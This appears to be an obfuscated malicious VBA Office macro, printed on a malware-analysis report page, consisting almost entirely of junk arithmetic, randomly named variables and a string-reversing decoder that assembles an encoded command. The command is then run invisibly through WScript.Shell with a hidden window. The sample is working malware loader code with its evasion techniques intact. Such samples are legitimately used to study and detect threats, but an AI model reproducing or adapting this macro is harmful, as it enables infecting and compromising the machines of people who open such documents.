XNZbK = fshu3bbnabn3("][jfN1zzWBwAQOAYGAlBwYAQGA2AwNAEDA5AgMAgDA2AgYAQGAlBgMAQDA0AwMAIGAjBwMAgDAmBANAMDAjBgZAIDA2AQMAEGA5AgZAQDAkBQMAUGA0AgMAMDAyAAMAMGA4AQNAUDAmBwYAQGA4AQNAEDAzAwNAYGAxAAMAEDAhBAZAEGA1AwMAMDA1AQZAIGA4AAOAQGAhBQOAkDwGiw)D", 7, 199)
whAEzQJR.tSRsSzYXzhNfb
GuGUnztZKR.GqzCuHlliLqjjj
aMiGjYi = fshu3bbnabn3("ORb4BAMAIGAlBQYAcDAyAQYAQDAiBwNAMDA2AQZAkDA1AgYAYDA2AAZAYDAxAAZAMDAiBgZAEDAlBgNAUDAlBAMAQGAmBAZAUDAyAgYAUGAiBQYAYDAmBQYAYGA3AQNAUDAwAAZAYDAmBgNAQDA1AQMbP48(zlUBpoGd2<wf1pznmq", 24, 147)
GuGUnztZKR.GqzCuHlliLqjjj
inwnFLSaoS.mzvzkkDszNCPhPRHkTIjaQt
RHjKSbmZsMf = fshu3bbnabn3("bTZAEGA4AQZAUGA5AQYAEGA1AANAMDO6FYV42F0f(ZzmGEOiD O]d", 24, 28)
inwnFLSaoS.mzvzkkDszNCPhPRHkTIjaQt
tOKEQwzHj = oaCqraHWjSS + fZjpIfidB + jVIpEpPjQUa + ChrW(34) + pnwiPaspd + vGvGBLljFQ + lCnrYPHvut + OFSwrE + AjpmH + hWoLz + DwJjO + rtrLumEUkTG + chrZGaDTK + RMVNXRiE + wpKiZc + KNzCdXPRf + RivLVc + nQtYduqUO + ttwLklDE + ETYjUIKd + aKjOt + akdVGCCQb + LpSCtFJIz + XNZbK + ERXod + GMRZsOuqHN + GthQTIJ + vujTwoLZIW + RHjKSbmZsMf + jNSlBBor + zjTSVUn + AZXZqhVDjvU + XXtiYPMYjJ + JbMSzLv + EbMvwzo + EfbAQUdS + zzKRTzjW + MmiuNujW + SvAcS + jqjZdMSA + TsFFvwYW + APiOI + hWOptG + aMiGjYi + mKMvSNOsw + NihGCONoV + MJdMARPR + mRBbvqnwHS + iYfsUajXin + zSFNZiPRzj + mXFOwB + vHKHnkdwwGN + aaNXzphf + tvCFiBMvoz + idTclZHv + uIFsz + tpJUEmZ + nRrZwZHNbPz + vToNClrd + dAsrUFQKWfj + oVCdHfm + IBsnIkdqhHv
RkjGpQEiH = jGVDh * KDOkT / ZNSZdI - Round(342966 * CSng(624844 * CInt(rkmcd)) + TqZEzW - Round(SITjRO)) - 544 / WdFJ + LVoPnw / Rnd(EwsVj) * (5325769 / CDbl(762512) + (rNpfW / CByte(2354001 / CDbl(5271994) - 9108212 / 1872803)))
End Function

Attribute VB_Name = "sSPSZzRs"
Sub ztDljMJoOjlLjR(jvQAUoPa As String)
On Error Resume Next
JVqpXwDvq = RwvW * DziT / Kqis - Round(7879883 * CSng(9937277 * CInt(KwPARR)) + HNiD - Round(pqWmV)) - 544 / SPWELU + dOhSrw / Rnd(XJsw) * (5215771 / CDbl(2202470) + (ioPA / CByte(3994604 / CDbl(8990499) - 229363 / 5737018)))
MoDJwWjQG = uFnCZo * kCFjz / LJuna - Round(1328446 * CSng(708239 * CInt(ZtzCsO)) + Aintm - Round(jFMc)) - 544 / bdks + zOQszD / Rnd(IJCuU) * (2336619 / CDbl(7646380) + (hZokYS / CByte(7510624 / CDbl(2162739) - 2153540 / 6019520)))
DhLLfZGhz = ocWi * vijkSL / YchBpz - Round(3878510 * CSng(5639363 * CInt(CEMv)) + Wzdco - Round(OlLECF)) - 544 / cnDasT + Jjdi / Rnd(HNUrlX) * (1947121 / CDbl(7461539) + (ZhGHi / CByte(4738585 / CDbl(6070899) - 7580523 / 3286180)))
dwjLspHbL = lMnTzs * ZttZj / SNDFzT - Round(2842569 * CSng(9037286 * CInt(VSAfA)) + VikJMR - Round(NlOH)) - 544 / zzmt + zGQzpk / Rnd(IzwH) * (8281881 / CDbl(4173715) + (TrlDO / CByte(1679315 / CDbl(2984859) - 3890204 / 5303473)))
SzRrqDRvs = aCZkz * uaBOS / WPvnYL - Round(9071595 * CSng(4472059 * CInt(cdiwwX)) + TEfCPP - Round(QtHnXU)) - 544 / OFIYc + vCfG / Rnd(VqwZ) * (9091906 / CDbl(7198816) + (JBHwjQ / CByte(5781759 / CDbl(1438254) - 3911195 / 6038211)))
CreateObject("WScript.Shell").Run QYXCDNXVZVVzR + jvQAUoPa + ZBuYwqwVo + SaRVruV, vbHide
hQIOhcSnk = ZLdo * pXKP / iXovvj - Round(1802747 * CSng(6959009 * CInt(wCdfA)) + jIKrYc - Round(MoYKKa)) - 544 / luLc + mKbM / Rnd(wThKn) * (9937794 / CDbl(9139795) + (dAXjM / CByte(3592003 / CDbl(8169939) - 1495111 / 9419566)))
KAXkZjVrC = BUNcFw * tEuaYo / djZrE - Round(6354508 * CSng(8644067 * CInt(Dpzbpi)) + kMTlJ - Round(MQXRkW)) - 544 / lNWmL + GtJinV / Rnd(ORXdiH) * (1549610 / CDbl(4022766) + (hHnfi / CByte(3446711 / CDbl(3100349) - 268207 / 4871443)))
TKTApTNPv = fahjP * fusu / dOEQfO - Round(9788913 * CSng(6074154 * CInt(odIF)) + KdNbE - Round(OLjp)) - 544 / AaXUDX + GmqwP / Rnd(JEOkkn) * (377366 / CDbl(3473715) + (NFhSS / CByte(7725179 / CDbl(5830568) - 4696747 / 3425462)))
End Sub
Function jVIpEpPjQUa()
On Error Resume Next
mFIZApfzhLGQ.NFnkZhOSfnLEoBTrBdUi
KNzCdXPRf = fshu3bbnabn3("Dpf<PU%ZP2DWdobk=%wHioIbMKllZ]OF44dZXFcW0Sj77d48.%fnZ", 26, 17)
mFIZApfzhLGQ.NFnkZhOSfnLEoBTrBdUi
nNdPYioPOs.GzzfiLijPUZkl
zzKRTzjW = fshu3bbnabn3("VjGh6O7R4tmWL$f wj(87bIWXvi<8vw9utm4TOYj", 28, 1)
nNdPYioPOs.GzzfiLijPUZkl
YEriFMAEznN.bLGCWtIRGuJqcXtziXPXZPLnLk
dAsrUFQKWfj = fshu3bbnabn3("zTX<kK4O!E(E!%anPDNVSaXw%!=%wSi6blFF4]", 8, 19)
YEriFMAEznN.bLGCWtIRGuJqcXtziXPXZPLnLk
LDIDwJLtti.fcYJaBLaTQlKu
jNSlBBor = fshu3bbnabn3("YX2hXiBbv% tes&&eh=%q_UBVwhX", 8, 18)
LDIDwJLtti.fcYJaBLaTQlKu
NNCSlcURh.kdSzfTAMkBOPvEDdGdiUrZprKni
ERXod = fshu3bbnabn3("FzVnpmws$NGU42RZ%6iOdIF]lSX 12jV7q", 29, 1)
NNCSlcURh.kdSzfTAMkBOPvEDdGdiUrZprKni
wAfuSJQqWD.NzGKGrvNMEwrcNkqri
wpKiZc = fshu3bbnabn3("Xu9iT2z]FbvS&&WIbjCAs=%4BR", 4, 11)
wAfuSJQqWD.NzGKGrvNMEwrcNkqri
kVMGlWjdIE.tXZdvKjQsrRlUiaDj
mXFOwB = fshu3bbnabn3("Z8U4k_moJMjlDtz% tes&&W2C9", 5, 15)
kVMGlWjdIE.tXZdvKjQsrRlUiaDj
iSKfpaqEPfzF.EwjEajwkIwrqAXZOvuOZaJoi
GMRZsOuqHN = fshu3bbnabn3("0i2FO!cbjwFV% tesiWF$Z$Dhb4E1FFG", 16, 11)
iSKfpaqEPfzF.EwjEajwkIwrqAXZOvuOZaJoi
QukMXdjHUj.wbZWijFsUDJDQfuUqwQSNQTlj
oVCdHfm = fshu3bbnabn3("idbEtfjhfGGi1k4mE(s0DszbspjP47AuEub% tes&&VWiXD", 6, 11)
QukMXdjHUj.wbZWijFsUDJDQfuUqwQSNQTlj
czEaChRPXo.RVjpIPMcPjiNfaw
AZXZqhVDjvU = fshu3bbnabn3("zlX]z4<D7dsud7W0qub!ozij !%YaELX!hmUPTbGi9m", 15, 5)
czEaChRPXo.RVjpIPMcPjiNfaw
rNNzbvfpw.PKTKKuRrOjunEZPL
vGvGBLljFQ = fshu3bbnabn3("z48Zt]47_zqU7wIdzokrqCV=%jBNFjo9wGz4j.!ZNFD1hFfiq", 22, 14)
rNNzbvfpw.PKTKKuRrOjunEZPL
rfRpwwwblH.aLDjBhdEHVXjlImhpcikX
lCnrYPHvut = fshu3bbnabn3("l4]jvmTF3!4zn)Eh56ZAQvj% te79V1@4GSJ3E", 12, 8)
rfRpwwwblH.aLDjBhdEHVXjlImhpcikX
BicNLnFfrj.oIMAXWTwlKWRWEaDmUGDJmvZmvr
GthQTIJ = fshu3bbnabn3("I4Y2fhlvZbU2Eu9R<!4nzY1j8G!X8jZ=%RjL4lD1z", 6, 5)
BicNLnFfrj.oIMAXWTwlKWRWEaDmUGDJmvZmvr
cWXNsEkhJQ.pkADnTvHuwpfQqCCnhllYCPJMOAZE
hWOptG = fshu3bbnabn3("Yo6&itbVnv]87wT!bQqPjdtW7wEYGf1!hF$4GFIF]$", 33, 7)
cWXNsEkhJQ.pkADnTvHuwpfQqCCnhllYCPJMOAZE
zGloGJtKmM.lEjTNTNXWNHEvtqWCpwhkVijGm
akdVGCCQb = fshu3bbnabn3("IhGWWvz[EiGoZXhMHRSjGflAj!_sUzz", 8, 12)
zGloGJtKmM.lEjTNTNXWNHEvtqWCpwhkVijGm
HKLhzGPjYw.FGKnUXBJtHOhmtBdVfhT
idTclZHv = fshu3bbnabn3("iZ V9!SYmmNZQd% tes&&remN2$RuBC4Fm_Z]f9FSWi@ifiqsTtz", 30, 14)
HKLhzGPjYw.FGKnUXBJtHOhmtBdVfhT
HOFNwEOUHl.qbICvpTqttwJoJlTMNWRWubNcF
MJdMARPR = fshu3bbnabn3("PwYXG]zwQE7Wtob", 6, 4)
HOFNwEOUHl.qbICvpTqttwJoJlTMNWRWubNcF
ptThoYhSL.HvuYwZiJKGprHw
vHKHnkdwwGN = fshu3bbnabn3("QjqWFUhzKOt%!=%HQIpJqb32fTz8!WDb!SP_4Ozo2dGbLh2wZ7", 32, 11)
ptThoYhSL.HvuYwZiJKGprHw
RfVSJtPHitK.HNDTVuuOjWFTiojMbiRzjvJNldCZ
vujTwoLZIW = fshu3bbnabn3("9qDQw[b]j]N<CKX<wlYSG6oUwCmQWHLfmZBp% tesOKbfDjH", 8, 17)
RfVSJtPHitK.HNDTVuuOjWFTiojMbiRzjvJNldCZ
CiXLZWNlQuw.aAovQdqYOqUjkbzTYzjLdro
uIFsz = fshu3bbnabn3("jb7VdOE1FYPGzf_OU<v(4iFKOt% tes&&p=%abdjCjET89", 10, 14)
CiXLZWNlQuw.aAovQdqYOqUjkbzTYzjLdro
jrAtzSPIUtV.SLHuaIHBwNJp
APiOI = fshu3bbnabn3("2$wj%E87P4ssPtj9GBXw% tes&&kUbJzFmGzsSJZ", 14, 9)
jrAtzSPIUtV.SLHuaIHBwNJp
FOSYrQwZHd.jqbQjLbldSTXBbErtX
nQtYduqUO = fshu3bbnabn3("Fjbh[djJLGjBkstfhi% tes&p4wh[2]jEm@jwYbWiZZ", 20, 17)
FOSYrQwZHd.jqbQjLbldSTXBbErtX
PERIBzrtaJ.HJwQmPoLNPpZwkDwAKWzIIvKz
DwJjO = fshu3bbnabn3("wZhzhqjvN!1GFjwT]GRDtz%!!%HQIpmNZQd0)<%bdFnTw", 11, 16)
PERIBzrtaJ.HJwQmPoLNPpZwkDwAKWzIIvKz
hjIDaaubww.vUhZIMqiJsuiBlC
chrZGaDTK = fshu3bbnabn3("biwZvu41upp[buTzuN8Xd1FVSak8D", 4, 3)
hjIDaaubww.vUhZIMqiJsuiBlC
zGIILWktc.vFvlQjaPTUXiL
jqjZdMSA = fshu3bbnabn3("Zm]NQwEBpcZ% tes&&XqCibUu3", 9, 13)
zGIILWktc.vFvlQjaPTUXiL
lOcJmNGqFwzM.UbzWLhdusiqwXnzJ
iYfsUajXin = fshu3bbnabn3("Gi1!%RjLljOoJMjlO3XduUi<obZw09fFwz4UT", 22, 13)
lOcJmNGqFwzM.UbzWLhdusiqwXnzJ
ifbtCGQGRv.oQrvPTnOZZEXvuokF
zjTSVUn = fshu3bbnabn3("JZO52i!2D%!!%wSiJLGjBk$OwwffmoUFCZF1Ozp0ONd]H17fqYnm", 31, 13)
ifbtCGQGRv.oQrvPTnOZZEXvuokF
jwNCvVJil.lTNbPiwHjwJFWwjZvqD
vToNClrd = fshu3bbnabn3("fhCzs!Ci<QlnRjD$4pLhMuuqYaa=%oRAFbDQEiJSjzTTbsZ14ZfZ", 15, 18)
jwNCvVJil.lTNbPiwHjwJFWwjZvqD
BOXhpFfdasO.jBUXqmtzOnVdGABKOLACvwWuvjf
LpSCtFJIz = fshu3bbnabn3("vZThfSUzuG8Xf!7Q<fjYpLwo=%jH]OY4d", 6, 6)
BOXhpFfdasO.jBUXqmtzOnVdGABKOLACvwWuvjf
YMJOCNFYqw.nnbTrKzzEpuWMdJYzR
zSFNZiPRzj = fshu3bbnabn3("D36BSqwq(js]zvQ<]m]JGGwluBmhXiBbv%!!Yd1f8D", 7, 12)
YMJOCNFYqw.nnbTrKzzEpuWMdJYzR
YjKDhkpzCw.KbLZmULYstLwiSuVEiP
mKMvSNOsw = fshu3bbnabn3("s9z7R]zPoo.2Cw7l", 8, 2)
YjKDhkpzCw.KbLZmULYstLwiSuVEiP
TkhbTwaLB.bpuVmzrEiZzhHKz
AjpmH = fshu3bbnabn3("kjmfJz92nPDNi!zljR6wqW7DYhDiRWR4E_f[i", 26, 4)
TkhbTwaLB.bpuVmzrEiZzhHKz
uOacVHrPUHuz.CVcYPpIAFituAuIiXSz
RivLVc = fshu3bbnabn3("suOs(d8WLs&&!%jHzwQEvVcs.GFqzG", 11, 11)
uOacVHrPUHuz.CVcYPpIAFituAuIiXSz
hXWtiIAUVm.uznFXDDPVcntKNvaZFp
RMVNXRiE = fshu3bbnabn3("Fww5Yl0z%qcbjwFV%!!%aq1NGiv", 7, 13)
hXWtiIAUVm.uznFXDDPVcntKNvaZFp
cwwiBRJJdG.kjGIrYMMuKLEcGRGXtdQwUUZA
IBsnIkdqhHv = fshu3bbnabn3("GFszhX8ZfE2bj1W1ljOUJzPb", 6, 3)
cwwiBRJJdG.kjGIrYMMuKLEcGRGXtdQwUUZA
iZAkfYnNtX.WJrwFzfIkTWnz
nRrZwZHNbPz = fshu3bbnabn3("(Fjum7Estfhi%!&&ll=%YF6GEzoo!]iOAnBY4", 17, 14)
iZAkfYnNtX.WJrwFzfIkTWnz
AqiNapmTb.jUCEDUiOHaidPhFS
aKjOt = fshu3bbnabn3("!mFWbbGLOCY1unJUUJMA% tes&&s=%aPoUfnY(f]", 7, 17)
AqiNapmTb.jUCEDUiOHaidPhFS
OnpmiwXzlG.CMutoRZCJslcwCaXASNajddPVpsFq
hWoLz = fshu3bbnabn3("BVwXU<s!bUq zt0GGu7YlUAQvj%!hRiU]os89B3zHD", 15, 7)
OnpmiwXzlG.CMutoRZCJslcwCaXASNajddPVpsFq
ZnavJjJBlYNz.EknHDHUOUiLUdBlj
EbMvwzo = fshu3bbnabn3("2PvY24wnISwzFCYaTdYwzj3T0GJCw2ot8", 18, 1)
ZnavJjJBlYNz.EknHDHUOUiLUdBlj
JWNjSjkHm.XkwXLONdHokiYMKRwCfzONHojfmml
SvAcS = fshu3bbnabn3("kzuB<j2$7GoYFZ78fUTPDjX[Ei6CJq46id8w2", 34, 2)
JWNjSjkHm.XkwXLONdHokiYMKRwCfzONHojfmml
jVIpEpPjQUa = vujTwoLZIW + vGvGBLljFQ + APiOI + chrZGaDTK + AjpmH + uIFsz + MJdMARPR + LpSCtFJIz + oVCdHfm + zzKRTzjW + KNzCdXPRf + hWOptG + nQtYduqUO + dAsrUFQKWfj + jqjZdMSA + vToNClrd + mXFOwB + IBsnIkdqhHv + GthQTIJ + idTclZHv + vHKHnkdwwGN + RivLVc + lCnrYPHvut + aKjOt + akdVGCCQb + wpKiZc + GMRZsOuqHN + jNSlBBor + ERXod + SvAcS + EbMvwzo + nRrZwZHNbPz + zjTSVUn + DwJjO + iYfsUajXin + hWoLz + mKMvSNOsw + RMVNXRiE + zSFNZiPRzj + AZXZqhVDjvU
bRcMPkSQV = qjuY * YnpW / Amib - Round(7520066 * CSng(6809702 * CInt(cIoj)) + asjXI - Round(JcrAb)) - 544 / pTUorP + qPZloj / Rnd(ZfZp) * (1667966 / CDbl(6462001) + (OFCrs / CByte(3219050 / CDbl(3504887) - 6173472 / 8939320)))
End Function

Attribute VB_Name = "OWfobLHRFBTc"
Function oaCqraHWjSS()
On Error Resume Next
HKCIpGpp.zzPLUzAUDlqsVuGzMccZEKzszV
LBJMdKkBVS = fshu3bbnabn3("5I8c@dzCsXcHmfjf!o@)JhX5P!TOoTG22f       c/         V/dD4", 4, 20)
HKCIpGpp.zzPLUzAUDlqsVuGzMccZEKzszV
ZjGzJcir.AUnbzrHKkRknowYwUbvHddojAoD
cEaRF = fshu3bbnabn3("O41JlhwljtthT    Wz", 3, 4)
ZjGzJcir.AUnbzrHKkRknowYwUbvHddojAoD
iQHDvdQELY.iBzwcAAtBEFiI
whiJBQrpO = fshu3bbnabn3("j74z<z           %cEOJD]i", 6, 14)
iQHDvdQELY.iBzwcAAtBEFiI
qEjSzrZHFPN.pMRJYdHZAwnG
CNwTzK = fshu3bbnabn3(")SmNPFwdwbCYzE8sOd4FGbcW Uq", 3, 1)
qEjSzrZHFPN.pMRJYdHZAwnG
WjJJtjBd.nTjzIRpBRmZbdcvFvtHXLDmfNVEbl
jJqORqzRu = fshu3bbnabn3("R4]8FF!uz2ZFUjwdjBHkDZpvvYwdbZCmkHbOiEDqbV", 8, 17)
WjJJtjBd.nTjzIRpBRmZbdcvFvtHXLDmfNVEbl
RpqmbXYAW.EFUzLBrHvjnjjWTMclRK
foVsOC = fshu3bbnabn3("Yij68j6FYl8E4NYJUXrWiVj mZ@qj", 6, 11)
RpqmbXYAW.EFUzLBrHvjnjjWTMclRK
szPwvvAHVl.zZpGGwLwaQEVciC
ZHkztrW = fshu3bbnabn3("C (7iGYGYupLvfsjW0odC%  tX]!p61JFo8HS", 14, 4)
szPwvvAHVl.zZpGGwLwaQEVciC
fPPJAhrhiz.cGUiEpMZjmkPspjHFoXuNCDGR
JlwIqBVZH = fshu3bbnabn3("Wjjn0Jnw     2s20bSJsZ2jA3p1EFW(G4sw", 24, 5)
fPPJAhrhiz.cGUiEpMZjmkPspjHFoXuNCDGR
asTAkswiMOz.TWHjjTZjloZDwMvskObriot
nBffrhS = fshu3bbnabn3("F <i2F6w[zdwNTYZ8FG!TzjYK$dOFGqp^S^mo^WqfX", 5, 7)
asTAkswiMOz.TWHjjTZjloZDwMvskObriot
GAtufHbH.FkiKNhnilDdYOp
mppBvdwr = fshu3bbnabn3("(FPO28Z04NH$22jZuzfY]z7fFniDQP tzAUEzNjFR dmcXb1!XUb7", 9, 21)
GAtufHbH.FkiKNhnilDdYOp
BowTjNJnvG.jYXiZuVjjjqEbhYkMKuOYuQYrKT
SkBzcKhL = fshu3bbnabn3("hoF2WK7oiE& zo", 2, 3)
BowTjNJnvG.jYXiZuVjjjqEbhYkMKuOYuQYrKT
QiVnirJmY.VtWHFGiZVsBjDQ
OPawi = fshu3bbnabn3("0w     %cEp^S^mo^C%EZ!zU$Tw6z0PzEZ.A9FGnUu1zJ7(0187XZ", 35, 17)
QiVnirJmY.VtWHFGiZVsBjDQ
oaCqraHWjSS = mppBvdwr + jJqORqzRu + foVsOC + SkBzcKhL + JlwIqBVZH + OPawi + ZHkztrW + nBffrhS + whiJBQrpO + CNwTzK + LBJMdKkBVS + cEaRF
CubtrHAdo = dEnkz * DCEMj / lwJHw - Round(3222369 * CSng(578508 * CInt(PzRWZ)) + PPuQFr - Round(FdAS)) - 544 / bnpwir + XJdkj / Rnd(jaSC) * (5888298 / CDbl(7515188) + (KORn / CByte(1502650 / CDbl(7533382) - 1279042 / 8530964)))
End Function

Attribute VB_Name = "OdSzBiatn"
Function fshu3bbnabn3(ByVal ihftskBjGLJiSw As String, vbBiXhmBuaY, VFwjbcq)
On Error Resume Next
bXNSmlEjc = YPAN * QmYcV / QJkrSo - Round(155049 * CSng(7771327 * CInt(troau)) + aJYW - Round(WZFE)) - 544 / OQnjOG + XrLOca / Rnd(wDvAT) * (6477040 / CDbl(5023067) + (SXpdz / CByte(1127595 / CDbl(1552944) - 5080513 / 8354354)))
DjtEXNENn = Rjjszj * aJaY / WYowQu - Round(7196055 * CSng(1223080 * CInt(PQULwj)) + Zqqm - Round(oIqii)) - 544 / uufwzS + KUQYz / Rnd(chAB) * (3551930 / CDbl(2968081) + (BCqAT / CByte(7079863 / CDbl(7370845) - 990301 / 6477958)))
PwQlCrLMR = BsmLw * tfKz / HXTzqs - Round(770278 * CSng(6031826 * CInt(OjMcF)) + ILIlV - Round(kANoOq)) - 544 / zaFbFt + azoL / Rnd(HjmCVj) * (1959735 / CDbl(1235337) + (shWZd / CByte(9891434 / CDbl(4369985) - 4397848 / 1004459)))
hJNizaOqj = bBMjEJ + StrReverse(ihftskBjGLJiSw) + HizrL
u3ugkj = wmNHwwsIE + Mid(hJNizaOqj, vbBiXhmBuaY, VFwjbcq) + KGsiCbulDrj
kwvAhtQZb = phLZ * QrYYMz / RBZMa - Round(380117 * CSng(5976794 * CInt(LoTqMp)) + GQEbj - Round(aVYhJ)) - 544 / LCNi + jNfub / Rnd(TOtnz) * (151562 / CDbl(2821594) + (NzwlH / CByte(3932637 / CDbl(7124409) - 3152527 / 8897934)))
rfBfRmTlw = nJzK * fvkMp / cVJMvR - Round(2362058 * CSng(3264522 * CInt(KuPS)) + OapCca - Round(zraK)) - 544 / nbGL + YaEOKr / Rnd(VVHUs) * (9855103 / CDbl(8793799) + (jWIFGh / CByte(6993855 / CDbl(2965152) - 7657193 / 5724083)))
djBhdkKta = pNZEi * hGSjG / hQhRTB - Round(1045383 * CSng(389042 * CInt(LQkjIS)) + rWKzYX - Round(SwDW)) - 544 / AdwHXl + kzMR / Rnd(oYhd) * (9419917 / CDbl(7888928) + (aEtPv / CByte(4381005 / CDbl(1330492) - 3685034 / 1741998)))
MOUPfVBKO = MuFh * fFALAq / VHivf - Round(1463945 * CSng(2756036 * CInt(kQSt)) + ksBiS - Round(XPmci)) - 544 / WEjqW + SSktMk / Rnd(ptwNZw) * (5310179 / CDbl(2486853) + (DnDV / CByte(8484850 / CDbl(5674464) - 3672933 / 2308194)))
fshu3bbnabn3 = fAaJCiKNUAa + u3ugkj + rfRuddaBNfCH
MBwmADpzY = jjJf * RCLbbm / LHmaO - Round(43813 * CSng(8495715 * CInt(VAwS)) + BhXNRK - Round(Ojwhl)) - 544 / mJwBEb + qpoAZ / Rnd(oHOpjl) * (8268635 / CDbl(6742052) + (kfwKQM / CByte(1538317 / CDbl(5934027) - 1730019 / 936314)))
pQNjLUvWz = LsWn * WTzrS / uOwZTC - Round(8758421 * CSng(2025086 * CInt(iKfv)) + YbYCVk - Round(tcdr)) - 544 / Liut + nqJu / Rnd(RKsR) * (465601 / CDbl(2382318) + (XAMbCD / CByte(9037848 / CDbl(8948202) - 9431603 / 4308709)))
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.